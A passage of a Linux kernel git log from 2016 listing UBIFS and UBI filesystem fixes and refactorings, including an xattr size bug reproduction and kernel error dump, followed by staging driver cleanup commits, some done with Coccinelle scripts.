Pascal Eberhard Date: Wed Sep 21 23:57:30 2016 +0200 ubifs: fix host xattr_len when changing xattr When an extended attribute is changed, xattr_len of host inode is recalculated. ui->data_len is updated before computation and result is wrong. This patch adds a temporary variable to fix computation. To reproduce the issue: ~# > a.txt ~# attr -s an-attr -V a-value a.txt ~# attr -s an-attr -V a-bit-bigger-value a.txt Now host inode xattr_len is wrong. Forcing dbg_check_filesystem() generates the following error: [ 130.620140] UBIFS (ubi0:2): background thread "ubifs_bgt0_2" started, PID 565 [ 131.470790] UBIFS error (ubi0:2 pid 564): check_inodes: inode 646 has xattr size 240, but calculated size is 256 [ 131.481697] UBIFS (ubi0:2): dump of the inode 646 sitting in LEB 29:114688 [ 131.488953] magic 0x6101831 [ 131.492876] crc 0x9fce9091 [ 131.496836] node_type 0 (inode node) [ 131.501193] group_type 1 (in node group) [ 131.505788] sqnum 9278 [ 131.509191] len 160 [ 131.512549] key (646, inode) [ 131.516688] creat_sqnum 9270 [ 131.520133] size 0 [ 131.523264] nlink 1 [ 131.526398] atime 1053025857.0 [ 131.530574] mtime 1053025857.0 [ 131.534714] ctime 1053025906.0 [ 131.538849] uid 0 [ 131.542009] gid 0 [ 131.545140] mode 33188 [ 131.548636] flags 0x1 [ 131.551977] xattr_cnt 1 [ 131.555108] xattr_size 240 [ 131.558420] xattr_names 12 [ 131.561670] compr_type 0x1 [ 131.564983] data len 0 [ 131.568125] UBIFS error (ubi0:2 pid 564): dbg_check_filesystem: file-system check failed with error -22 [ 131.578074] CPU: 0 PID: 564 Comm: mount Not tainted 4.4.12-g3639bea54a #24 [ 131.585352] Hardware name: Generic AM33XX (Flattened Device Tree) [ 131.591918] [] (unwind_backtrace) from [] (show_stack+0x10/0x14) [ 131.600177] [] (show_stack) from [] (dbg_check_filesystem+0x464/0x4d0) [ 131.608934] [] (dbg_check_filesystem) from [] (ubifs_mount+0x14f8/0x2130) [ 131.617991] [] (ubifs_mount) from [] (mount_fs+0x14/0x98) [ 131.625572] [] (mount_fs) from [] (vfs_kern_mount+0x4c/0xd4) [ 131.633435] [] (vfs_kern_mount) from [] (do_mount+0x988/0xb50) [ 131.641471] [] (do_mount) from [] (SyS_mount+0x74/0xa0) [ 131.648837] [] (SyS_mount) from [] (ret_fast_syscall+0x0/0x3c) [ 131.665315] UBIFS (ubi0:2): background thread "ubifs_bgt0_2" stops Signed-off-by: Pascal Eberhard Signed-off-by: Richard Weinberger fs/ubifs/xattr.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 1e039533886765f50b4e58e7c337c84523ebf7b2 Author: Richard Weinberger Date: Wed Sep 14 22:28:52 2016 +0200 ubifs: Use move variable in ubifs_rename() ...to make the code more consistent since we use move already in other places. Signed-off-by: Richard Weinberger fs/ubifs/journal.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 9ec64962afb1702f75bdf046fffeecf9c8737518 Author: Richard Weinberger Date: Wed Sep 14 22:28:51 2016 +0200 ubifs: Implement RENAME_EXCHANGE Adds RENAME_EXCHANGE to UBIFS, the operation itself is completely disjunct from a regular rename() that's why we dispatch very early in ubifs_reaname(). RENAME_EXCHANGE used by the renameat2() system call allows the caller to exchange two paths atomically. Both paths have to exist and have to be on the same filesystem. Signed-off-by: Richard Weinberger fs/ubifs/dir.c | 65 +++++++++++++++++++++--- fs/ubifs/journal.c | 141 +++++++++++++++++++++++++++++++++++++++++++++++++++++ fs/ubifs/ubifs.h | 4 ++ 3 files changed, 204 insertions(+), 6 deletions(-) commit 9e0a1fff8db56eaaebb74b4a3ef65f86811c4798 Author: Richard Weinberger Date: Wed Sep 14 22:28:50 2016 +0200 ubifs: Implement RENAME_WHITEOUT Adds RENAME_WHITEOUT support to UBIFS, we implement it in the same way as ext4 and xfs do. For an overview of other ways to implement it please refere to commit 7dcf5c3e4527 ("xfs: add RENAME_WHITEOUT support"). Signed-off-by: Richard Weinberger fs/ubifs/dir.c | 120 ++++++++++++++++++++++++++++++++++++++++++++--------- fs/ubifs/journal.c | 43 +++++++++++++------ fs/ubifs/ubifs.h | 4 +- 3 files changed, 134 insertions(+), 33 deletions(-) commit 474b93704f32163af4bfa728fddc570eba357353 Author: Richard Weinberger Date: Wed Sep 14 22:28:49 2016 +0200 ubifs: Implement O_TMPFILE This patchs adds O_TMPFILE support to UBIFS. A temp file is a reference to an unlinked inode, a user holding the reference can use it. As soon it is being closed all data vanishes. Signed-off-by: Richard Weinberger fs/ubifs/dir.c | 71 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 71 insertions(+) commit f7d11b33d4e8cedf19367c09b891bbc705163976 Author: Richard Weinberger Date: Wed Aug 24 14:36:15 2016 +0200 ubi: Fix Fastmap's update_vol() Usually Fastmap is free to consider every PEB in one of the pools as newer than the existing PEB. Since PEBs in a pool are by definition newer than everything else. But update_vol() missed the case that a pool can contain more than one candidate. Cc: Fixes: dbb7d2a88d ("UBI: Add fastmap core") Signed-off-by: Richard Weinberger Reviewed-by: Boris Brezillon Signed-off-by: Richard Weinberger drivers/mtd/ubi/fastmap.c | 1 + 1 file changed, 1 insertion(+) commit 2e8f08deabbc7eefe4c5838aaa6aa9a23a8acf2e Author: Richard Weinberger Date: Wed Aug 24 14:36:14 2016 +0200 ubi: Fix races around ubi_refill_pools() When writing a new Fastmap the first thing that happens is refilling the pools in memory. At this stage it is possible that new PEBs from the new pools get already claimed and written with data. If this happens before the new Fastmap data structure hits the flash and we face power cut the freshly written PEB will not scanned and unnoticed. Solve the issue by locking the pools until Fastmap is written. Cc: Fixes: dbb7d2a88d ("UBI: Add fastmap core") Signed-off-by: Richard Weinberger drivers/mtd/ubi/eba.c | 4 ++-- drivers/mtd/ubi/fastmap-wl.c | 6 ++++-- drivers/mtd/ubi/fastmap.c | 14 ++++++++++---- drivers/mtd/ubi/wl.c | 20 ++++++++++++++------ 4 files changed, 30 insertions(+), 14 deletions(-) commit 2365418879e9abf12ea9def7f9f3caf0dfa7ffb0 Author: Richard Weinberger Date: Wed Aug 24 14:36:13 2016 +0200 ubi: Deal with interrupted erasures in WL When Fastmap is used we can face here an -EBADMSG since Fastmap cannot know about unmaps. If the erasure was interrupted the PEB may show ECC errors and UBI would go to ro-mode as it assumes that the PEB was check during attach time, which is not the case with Fastmap. Cc: Fixes: dbb7d2a88d ("UBI: Add fastmap core") Signed-off-by: Richard Weinberger drivers/mtd/ubi/wl.c | 21 +++++++++++++++++++-- 1 file changed, 19 insertions(+), 2 deletions(-) commit 3291b52f9ff0acc80a8ee3f92a960db937dccecb Author: Boris Brezillon Date: Fri Sep 16 16:59:26 2016 +0200 UBI: introduce the VID buffer concept Currently, all VID headers are allocated and freed using the ubi_zalloc_vid_hdr() and ubi_free_vid_hdr() function. These functions make sure to align allocation on ubi->vid_hdr_alsize and adjust the vid_hdr pointer to match the ubi->vid_hdr_shift requirements. This works fine, but is a bit convoluted. Moreover, the future introduction of LEB consolidation (needed to support MLC/TLC NANDs) will allows a VID buffer to contain more than one VID header. Hence the creation of a ubi_vid_io_buf struct to attach extra information to the VID header. We currently only store the actual pointer of the underlying buffer, but will soon add the number of VID headers contained in the buffer. Signed-off-by: Boris Brezillon Signed-off-by: Richard Weinberger drivers/mtd/ubi/attach.c | 40 +++++++++---------- drivers/mtd/ubi/eba.c | 81 ++++++++++++++++++++++----------------- drivers/mtd/ubi/fastmap.c | 71 ++++++++++++++++++++-------------- drivers/mtd/ubi/io.c | 39 ++++++++++--------- drivers/mtd/ubi/ubi.h | 97 ++++++++++++++++++++++++++++++++--------------- drivers/mtd/ubi/vtbl.c | 13 ++++--- drivers/mtd/ubi/wl.c | 19 ++++++---- 7 files changed, 218 insertions(+), 142 deletions(-) commit 799dca34ac543485f581bd8464ec9b1c4f0f852a Author: Boris Brezillon Date: Fri Sep 16 16:59:25 2016 +0200 UBI: hide EBA internals Create a private ubi_eba_table struct to hide EBA internals and provide helpers to allocate, destroy, copy and assing an EBA table to a volume. Now that external EBA users are using helpers to query/modify the EBA state we can safely change the internal representation, which will be needed to support the LEB consolidation concept. Signed-off-by: Boris Brezillon Signed-off-by: Richard Weinberger drivers/mtd/ubi/build.c | 2 +- drivers/mtd/ubi/eba.c | 166 ++++++++++++++++++++++++++++++++++++++++-------- drivers/mtd/ubi/ubi.h | 8 ++- drivers/mtd/ubi/vmt.c | 40 +++++------- 4 files changed, 165 insertions(+), 51 deletions(-) commit 1f81a5ccaba51c8884db8f060b9f606c29db931d Author: Boris Brezillon Date: Fri Sep 16 16:59:24 2016 +0200 UBI: provide an helper to query LEB information This is part of our attempt to hide EBA internals from other part of the implementation in order to easily adapt it to the MLC needs. Here we are creating an ubi_eba_leb_desc struct to hide the way we keep track of the LEB to PEB mapping. Signed-off-by: Boris Brezillon Signed-off-by: Richard Weinberger drivers/mtd/ubi/eba.c | 17 +++++++++++++++++ drivers/mtd/ubi/fastmap.c | 8 ++++++-- drivers/mtd/ubi/ubi.h | 17 +++++++++++++++++ 3 files changed, 40 insertions(+), 2 deletions(-) commit 7554769641da272ea8821194c2efda08a11014b0 Author: Boris Brezillon Date: Fri Sep 16 16:59:23 2016 +0200 UBI: provide an helper to check whether a LEB is mapped or not This is part of the process of hiding UBI EBA's internal to other part of the UBI implementation, so that we can add new information to the EBA table without having to patch different places in the UBI code. Signed-off-by: Boris Brezillon Signed-off-by: Richard Weinberger drivers/mtd/ubi/eba.c | 12 ++++++++++++ drivers/mtd/ubi/kapi.c | 4 ++-- drivers/mtd/ubi/ubi.h | 1 + 3 files changed, 15 insertions(+), 2 deletions(-) commit 9a5f09ac0ab83e4a965a24edd6cf7cb0303c6dc9 Author: Boris Brezillon Date: Fri Sep 16 16:59:22 2016 +0200 UBI: add an helper to check lnum validity ubi_leb_valid() is here to replace the lnum < 0 || lnum >= vol->reserved_pebs checks. Signed-off-by: Boris Brezillon Signed-off-by: Richard Weinberger drivers/mtd/ubi/cdev.c | 4 ++-- drivers/mtd/ubi/kapi.c | 12 ++++++------ drivers/mtd/ubi/ubi.h | 5 +++++ 3 files changed, 13 insertions(+), 8 deletions(-) commit 2d78aee426d821bbecbc80ee96ada5730ee68b6f Author: Boris Brezillon Date: Fri Sep 16 16:59:21 2016 +0200 UBI: simplify LEB write and atomic LEB change code ubi_eba_write_leb(), ubi_eba_write_leb_st() and ubi_eba_atomic_leb_change() are using a convoluted retry/exit path. Add the try_write_vid_and_data() function to simplify the retry logic and make sure we have a single exit path instead of manually releasing the resources in each error path. Signed-off-by: Boris Brezillon Signed-off-by: Richard Weinberger drivers/mtd/ubi/eba.c | 285 ++++++++++++++++++++------------------------------ 1 file changed, 115 insertions(+), 170 deletions(-) commit f036dfeb859cb412fdbe8e3ee74b632d9ce6387e Author: Boris Brezillon Date: Fri Sep 16 16:59:20 2016 +0200 UBI: simplify recover_peb() code recover_peb() is using a convoluted retry/exit path. Add try_recover_peb() to simplify the retry logic and make sure we have a single exit path instead of manually releasing the resource in each error path. Signed-off-by: Boris Brezillon Signed-off-by: Richard Weinberger drivers/mtd/ubi/eba.c | 130 ++++++++++++++++++++++++++++++-------------------- 1 file changed, 77 insertions(+), 53 deletions(-) commit 7b6b749b125a93d673ba12977007dfbd65a61c32 Author: Boris Brezillon Date: Fri Sep 16 16:59:19 2016 +0200 UBI: move the global ech and vidh variables into struct ubi_attach_info Even if it works fine with those global variables, attaching the temporary ech and vidh objects used during UBI scan to the ubi_attach_info object sounds like a more future-proof option. For example, attaching several UBI devices in parallel is prevented by this use of global variable. And also because global variables should be avoided in general. Signed-off-by: Boris Brezillon Signed-off-by: Richard Weinberger drivers/mtd/ubi/attach.c | 39 +++++++++++++++++++-------------------- drivers/mtd/ubi/ubi.h | 4 ++++ 2 files changed, 23 insertions(+), 20 deletions(-) commit 91f4285fe389a2729efcd5db642d7652d8f27a40 Author: Boris Brezillon Date: Fri Sep 16 16:59:18 2016 +0200 UBI: provide helpers to allocate and free aeb elements This not only hides the aeb allocation internals (which is always good in case we ever want to change the allocation system), but also helps us factorize the initialization of some common fields (ec and pnum). Signed-off-by: Boris Brezillon Signed-off-by: Richard Weinberger drivers/mtd/ubi/attach.c | 69 ++++++++++++++++++++++++++++++++++------------- drivers/mtd/ubi/fastmap.c | 28 +++++++------------ drivers/mtd/ubi/ubi.h | 3 +++ drivers/mtd/ubi/vtbl.c | 4 +-- 4 files changed, 66 insertions(+), 38 deletions(-) commit fcbb6af17bda4b3856a1f4c302da5d0d7bf9a0f9 Author: Boris Brezillon Date: Fri Sep 16 16:59:17 2016 +0200 UBI: fastmap: use ubi_io_{read, write}_data() instead of ubi_io_{read, write}() ubi_io_{read,write}_data() are wrappers around ubi_io_{read/write}() that are used to read/write eraseblock payload data, which is exactly what fastmap does when calling ubi_io_{read,write}(). Signed-off-by: Boris Brezillon Signed-off-by: Richard Weinberger drivers/mtd/ubi/fastmap.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit f2fb1346b3806a9b6b06cc80fe18760debc933f4 Author: Boris Brezillon Date: Fri Sep 16 16:59:16 2016 +0200 UBI: fastmap: use ubi_rb_for_each_entry() in unmap_peb() Use the ubi_rb_for_each_entry() macro instead of open-coding it. Signed-off-by: Boris Brezillon Signed-off-by: Richard Weinberger drivers/mtd/ubi/fastmap.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit f9efe8d8a5d54e426da9029f5db78e90ac7a141a Author: Boris Brezillon Date: Fri Sep 16 16:59:15 2016 +0200 UBI: factorize destroy_av() and ubi_remove_av() code Those functions are pretty much doing the same thing, except ubi_remove_av() is putting the aeb elements attached to the volume into the ai->erase list and the destroy_av() is freeing them. Rework destroy_av() to handle both cases. Signed-off-by: Boris Brezillon Signed-off-by: Richard Weinberger drivers/mtd/ubi/attach.c | 25 ++++++++++++------------- 1 file changed, 12 insertions(+), 13 deletions(-) commit de4c455b3e9f6306ce7f4245d1ae09d4f1209bb4 Author: Boris Brezillon Date: Fri Sep 16 16:59:14 2016 +0200 UBI: factorize code used to manipulate volumes at attach time Volume creation/search code is duplicated in a few places (fastmap and non fastmap code). Create some helpers to factorize the code. Signed-off-by: Boris Brezillon Signed-off-by: Richard Weinberger drivers/mtd/ubi/attach.c | 151 +++++++++++++++++++++++++++++++++------------- drivers/mtd/ubi/fastmap.c | 27 +-------- drivers/mtd/ubi/ubi.h | 1 + 3 files changed, 112 insertions(+), 67 deletions(-) commit 5f09aaa9b30c91e6f72790bfb975240e8116d6db Author: Boris Brezillon Date: Fri Sep 16 16:59:13 2016 +0200 UBI: use vol->usable_leb_size instead of (ubi->leb_size - vol->data_pad) vol->usable_size is already set to ubi->leb_size - vol->data_pad. Use vol->usable_size instead of recalculating it. Signed-off-by: Boris Brezillon Signed-off-by: Richard Weinberger drivers/mtd/ubi/cdev.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ecbfa8eabae9cd73522d1d3d15869703c263d859 Author: Boris Brezillon Date: Fri Sep 16 16:59:12 2016 +0200 UBI: fastmap: scrub PEB when bitflips are detected in a free PEB EC header scan_pool() does not mark the PEB for scrubing when bitflips are detected in the EC header of a free PEB (VID header region left to 0xff). Make sure we scrub the PEB in this case. Signed-off-by: Boris Brezillon Fixes: dbb7d2a88d2a ("UBI: Add fastmap core") Signed-off-by: Richard Weinberger drivers/mtd/ubi/fastmap.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit 4c368421bc1a2acc84beafcae37ed3733a4fa4fc Author: Boris Brezillon Date: Fri Sep 16 16:59:11 2016 +0200 UBI: fastmap: avoid multiple be32_to_cpu() when unneccesary process_pool_aeb() does several times the be32_to_cpu(new_vh->vol_id) operation. Create a temporary variable and do it once. Signed-off-by: Boris Brezillon Signed-off-by: Richard Weinberger drivers/mtd/ubi/fastmap.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 3f84e454eb6cd712bf1fed6870df46bfe8c772f0 Author: Boris Brezillon Date: Fri Sep 16 16:59:10 2016 +0200 UBI: fix add_fastmap() to use the vid_hdr passed in argument add_fastmap() is passed a ubi_vid_hdr pointer in argument, but is referencing the global vidh pointer. Even if this is correct from a functional point of view (vidh and vid_hdr point to the same object), it is confusing. Signed-off-by: Boris Brezillon Signed-off-by: Richard Weinberger drivers/mtd/ubi/attach.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit f5f9d43f0a61e636008e2325c1c6178bd5b0da27 Author: Boris Brezillon Date: Fri Sep 16 16:59:09 2016 +0200 UBI: fastmap: use ubi_find_volume() instead of open coding it process_pool_aeb() re-implements the logic found in ubi_find_volume(). Call ubi_find_volume() to avoid this duplication. Signed-off-by: Boris Brezillon Signed-off-by: Richard Weinberger drivers/mtd/ubi/fastmap.c | 23 +++-------------------- 1 file changed, 3 insertions(+), 20 deletions(-) commit fc1e2c8ea85e109acf09e74789e9b852f6eed251 Author: Ksenija Stanojevic Date: Sun Oct 2 17:42:35 2016 +0200 Staging: fbtft: Fix bug in fbtft-core Commit 367e8560e8d7a62d96e9b1d644028a3816e04206 introduced a bug in fbtft-core where fps is always 0, this is because variable update_time is not assigned correctly. Signed-off-by: Ksenija Stanojevic Fixes: 367e8560e8d7 ("Staging: fbtbt: Replace timespec with ktime_t") Cc: stable Signed-off-by: Greg Kroah-Hartman drivers/staging/fbtft/fbtft-core.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 23bf40424a0f641ca7ff4225add4aa592086bdd5 Author: Wei Yongjun Date: Sat Oct 1 00:38:08 2016 +0800 staging: rtl8188eu: fix double unlock error in rtw_resume_process() Fix following static checker warning: drivers/staging/rtl8188eu/os_dep/usb_intf.c:311 rtw_resume_process() error: double unlock 'mutex:&pwrpriv->mutex_lock' Fixes: eaf47b713b60 ("staging: rtl8188eu: fix missing unlock on error in rtw_resume_process()") Reported-By: Dan Carpenter Signed-off-by: Wei Yongjun Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/os_dep/usb_intf.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 612e1c94bfe9736cef0a9b86db792fd863be7733 Author: Ivan Safonov Date: Fri Sep 30 21:36:21 2016 +0700 staging:r8188eu: remove GEN_MLME_EXT_HANDLER macro GEN_MLME_EXT_HANDLER is redundant macro. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/rtw_mlme_ext.h | 32 +++++++++++------------- 1 file changed, 15 insertions(+), 17 deletions(-) commit d88dd94e24cf45d519f93b4ad07922441ebb5cb3 Author: Ivan Safonov Date: Fri Sep 30 21:36:20 2016 +0700 staging:r8188eu: remove GEN_DRV_CMD_HANDLER macro This macro does not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/rtw_mlme_ext.h | 1 - 1 file changed, 1 deletion(-) commit c1300df211b181e0ab9897c4def6b9ec320e8046 Author: Ivan Safonov Date: Fri Sep 30 21:36:19 2016 +0700 staging:r8188eu: remove GEN_EVT_CODE macro GEN_EVT_CODE is redundant macro. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_mlme_ext.c | 10 ++--- drivers/staging/rtl8188eu/include/rtw_event.h | 2 - drivers/staging/rtl8188eu/include/rtw_mlme_ext.h | 52 ++++++++++++------------ 3 files changed, 31 insertions(+), 33 deletions(-) commit ae7f7aa0c02bdedd4ff383d3b3fd3bc07cfef2a8 Author: Ivan Safonov Date: Fri Sep 30 21:36:18 2016 +0700 staging:r8188eu: remove GEN_CMD_CODE macro GEN_CMD_CODE is redundant macro. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_cmd.c | 24 +++++------ drivers/staging/rtl8188eu/core/rtw_mlme_ext.c | 14 +++--- drivers/staging/rtl8188eu/include/rtw_cmd.h | 62 +++++++++++++-------------- 3 files changed, 49 insertions(+), 51 deletions(-) commit 2e2f78d078ca8908a79155b80c16311d06f027be Author: Ivan Safonov Date: Fri Sep 30 21:36:17 2016 +0700 staging:r8188eu: remove pkt_newalloc member of the recv_buf structure This member does not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/rtw_recv.h | 1 - drivers/staging/rtl8188eu/os_dep/recv_linux.c | 1 - 2 files changed, 2 deletions(-) commit f34395c83325480cda7f8abfc03f6f52912ea314 Author: Ivan Safonov Date: Fri Sep 30 21:36:16 2016 +0700 staging:r8188eu: remove rtw_handle_dualmac declaration It is a declaration of the non-existent function. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/drv_types.h | 2 -- 1 file changed, 2 deletions(-) commit 64164d66a36dc6f95aa07c8d56c9a002c3a13f1e Author: Ivan Safonov Date: Fri Sep 30 21:36:15 2016 +0700 staging:r8188eu: remove (RGTRY|BSSID)_(OFT|SZ) macros These macros does not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/drv_types.h | 6 ------ 1 file changed, 6 deletions(-) commit 0699715183ad3a7708a72d74e2e09995d6822f1f Author: Ivan Safonov Date: Fri Sep 30 21:36:14 2016 +0700 staging:r8188eu: change rtl8188e_process_phy_info function argument type prframe is (void *), but function used only with (struct recv_frame *). Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/rtl8188e_rxdesc.c | 5 ++--- drivers/staging/rtl8188eu/include/rtl8188e_recv.h | 3 ++- 2 files changed, 4 insertions(+), 4 deletions(-) commit cb0b65556eb43b1465672d340be6de07baf85ecf Author: Ramiro Oliveira Date: Fri Sep 30 15:01:22 2016 +0100 Staging: fsl-mc: Remove blank lines Remove multiple blank lines as reported by checkpatch Signed-off-by: Ramiro Oliveira Signed-off-by: Greg Kroah-Hartman drivers/staging/fsl-mc/bus/dpmcp.c | 1 - drivers/staging/fsl-mc/bus/fsl-mc-bus.c | 1 - 2 files changed, 2 deletions(-) commit f86a180868a92ae57da8a716ec72d5303ba8faaa Author: Ramiro Oliveira Date: Fri Sep 30 15:01:21 2016 +0100 Staging: fsl-mc: Fix unaligned * in block comments Align the * in some block comments as reported by checkpatch. Signed-off-by: Ramiro Oliveira Signed-off-by: Greg Kroah-Hartman drivers/staging/fsl-mc/bus/dpbp.c | 60 ++++++++++----------- drivers/staging/fsl-mc/bus/dpmng.c | 60 ++++++++++----------- drivers/staging/fsl-mc/bus/dprc.c | 88 +++++++++++++++---------------- drivers/staging/fsl-mc/bus/fsl-mc-bus.c | 4 +- drivers/staging/fsl-mc/include/dpbp-cmd.h | 60 ++++++++++----------- 5 files changed, 136 insertions(+), 136 deletions(-) commit 37a7029b755b0b82c22a69880106d95ca66af0ba Author: Ramiro Oliveira Date: Fri Sep 30 11:32:05 2016 +0100 Staging: comedi: Align the * in block comments Align the * on each line of block comments as reported by checkpatch Signed-off-by: Ramiro Oliveira Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/drivers.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6315bbdb59bca30b16409aaca8031ce5c41325aa Author: Muraru Mihaela Date: Thu Sep 29 13:09:56 2016 +0300 Staging : ks7010 : Fix block comments warninig Move final */ to a new line, to conform to the kernel coding style for block comments. Issue found by checkpatch. Signed-off-by: Muraru Mihaela Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/eap_packet.h | 24 ++++++++++++++++-------- 1 file changed, 16 insertions(+), 8 deletions(-) commit 4d932504b534584e116b400dd6e7b8ce7deb455c Author: shyam saini Date: Thu Sep 29 04:22:20 2016 +0530 Staging: vt6655: Remove explicit NULL comparison using Coccinelle Remove the explicit NULL comparison and rewrite in a compact form. Signed-off-by: shyam saini Signed-off-by: Greg Kroah-Hartman drivers/staging/vt6655/rxtx.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 7b170bacbb13089ccb1d14ca18ad4fb5dcb8b72e Author: Georgiana Rodica Chelu Date: Thu Sep 29 00:07:15 2016 +0300 staging: rtl8188eu: core: rtw_xmit: Use macros instead of constants Replace the 0x888e with ETH_P_PAE and 0x0806 with ETH_P_ARP. These macros can be found in drivers/staging/rtl8192e/rtllib.h Hexadecimal numbers are not case sensitive, therefore 0x888e is equal with 0x888E. The modifications improve the readability of the code. Signed-off-by: Georgiana Rodica Chelu Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_xmit.c | 12 ++++++------ drivers/staging/rtl8192e/rtllib.h | 2 +- 2 files changed, 7 insertions(+), 7 deletions(-) commit 7d7be350073e5a27ff5ed73b3dc31e1d2cb7d573 Author: Georgiana Rodica Chelu Date: Wed Sep 28 23:33:02 2016 +0300 staging: rtl8188eu: core: rtw_xmit: Move constant of the right side Constants should be on the right side of comparisons. Issue found by checkpatch.pl script. Signed-off-by: Georgiana Rodica Chelu Acked-by: Julia Lawall Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_xmit.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 777c5e94c163e07ad8676ac37cc8e20301f63f80 Author: Fernando Apesteguia Date: Wed Sep 28 19:20:39 2016 +0200 staging: dgnc: Fix lines longer than 80 characters All the chunks of the patch apply to comments save the first one. Signed-off-by: Fernando Apesteguia Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_neo.c | 67 ++++++++++++++++++++++++++++------------- 1 file changed, 46 insertions(+), 21 deletions(-) commit 7b346dac731361d45ef173f66df3a6509fd3b865 Author: Bhumika Goyal Date: Thu Sep 29 20:18:54 2016 +0530 Staging: dgnc: constify attribute_group structures Check for attribute_group structures that are only passed as a second argument to the functions sysfs_remove_group and sysfs_create_group. As these arguments are constant so, attribute_group structures having this property can also be made constant. Done using coccinelle: @r1 disable optional_qualifier @ identifier i; position p; @@ static struct attribute_group i@p = {...}; @ok1@ identifier r1.i; position p; expression e1; @@ ( sysfs_remove_group(e1,&i@p) | sysfs_create_group(e1,&i@p) ) @bad@ position p!={r1.p,ok1.p}; identifier r1.i; @@ i@p @depends on !bad disable optional_qualifier@ identifier r1.i; @@ static +const struct attribute_group i={...}; @depends on !bad disable optional_qualifier@ identifier r1.i; @@ +const struct attribute_group i; File size before: text data bss dec hex filename 6248 1024 0 7272 1c68 drivers/staging/dgnc/dgnc_sysfs.o File size after: text data bss dec hex filename 6288 960 0 7248 1c50 drivers/staging/dgnc/dgnc_sysfs.o Signed-off-by: Bhumika Goyal Acked-by: Julia Lawall Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_sysfs.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d983c597757883496a9e4956e308395f8ac53bf0 Author: Bhumika Goyal Date: Thu Sep 29 20:28:31 2016 +0530 Staging: most: hdm-dim2: constify attribute_group structures Check for attribute_group structures that are only passed as a second argument to the functions sysfs_remove_group and sysfs_create_group. As these arguments are constant so, attribute_group structures having this property can also be made constant. Done using coccinelle: @r1 disable optional_qualifier @ identifier i; position p; @@ static struct attribute_group i@p = {...}; @ok1@ identifier r1.i; position p; expression e1,e2; @@ ( sysfs_remove_group(e1,&i@p) | sysfs_create_group(e1,&i@p) ) @bad@ position p!={r1.p,ok1.p}; identifier r1.i; @@ i@p @depends on !bad disable optional_qualifier@ identifier r1.i; @@ static +const struct attribute_group i={...}; @depends on !bad disable optional_qualifier@ identifier r1.i; @@ +const struct attribute_group i; File size before: text data bss dec hex filename 509 160 0 669 29d drivers/staging/most/hdm-dim2/dim2_sysfs.o File size after: text data bss dec hex filename 565 96 0 661 295 drivers/staging/most/hdm-dim2/dim2_sysfs.o Signed-off-by: Bhumika Goyal Acked-by: Julia Lawall Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-dim2/dim2_sysfs.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4ee4b9da2b01421521f6ee434e7d6098aecedbdf Author: Elizabeth Ferdman Date: Fri Sep 30 12:15:09 2016 -0700 staging: wilc1000: remove unnecessary braces Fix checkpatch warning "braces {} are not necessary for single statement blocks" to conform to linux kernel coding style. Signed-off-by: Elizabeth Ferdman Signed-off-by: Greg Kroah-Hartman drivers/staging/wilc1000/wilc_wlan.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 8d3496c39357bc4b16e6ede0b71126bf1f2a34bc Author: Namrata A Shettar Date: Fri Sep 30 19:15:05 2016 +0530 staging: wilc1000: wilc_spi: Remove unnecessary blank lines Remove unnecessary blank lines to resolve checkpatch issue. Signed-off-by: Namrata A Shettar Signed-off-by: Greg Kroah-Hartman drivers/staging/wilc1000/wilc_spi.c | 10 ---------- 1 file changed, 10 deletions(-) commit 8244d269098348f9bcfbcfed5c443857b4c8ffc7 Author: Namrata A Shettar Date: Fri Sep 30 19:14:54 2016 +0530 staging: wilc1000: wilc_spi: Compress return logic Compress return logic. Done using Coccinelle : @@ local idexpression ret; expression e; @@ -ret= +return e; -return ret; Signed-off-by: Namrata A Shettar Signed-off-by: Greg Kroah-Hartman drivers/staging/wilc1000/wilc_spi.c | 18 ++++++------------ 1 file changed, 6 insertions(+), 12 deletions(-) commit 0ca8df12e78f3085224faac9058a2d278992dd82 Author: Namrata A Shettar Date: Fri Sep 30 19:14:36 2016 +0530 staging: wilc1000: wilc_wlan: Compress return logic Compress return logic. Done using Coccinelle : @@ local idexpression ret; expression e; @@ -ret= +return e; -return ret; Signed-off-by: Namrata A Shettar Signed-off-by: Greg Kroah-Hartman drivers/staging/wilc1000/wilc_wlan.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 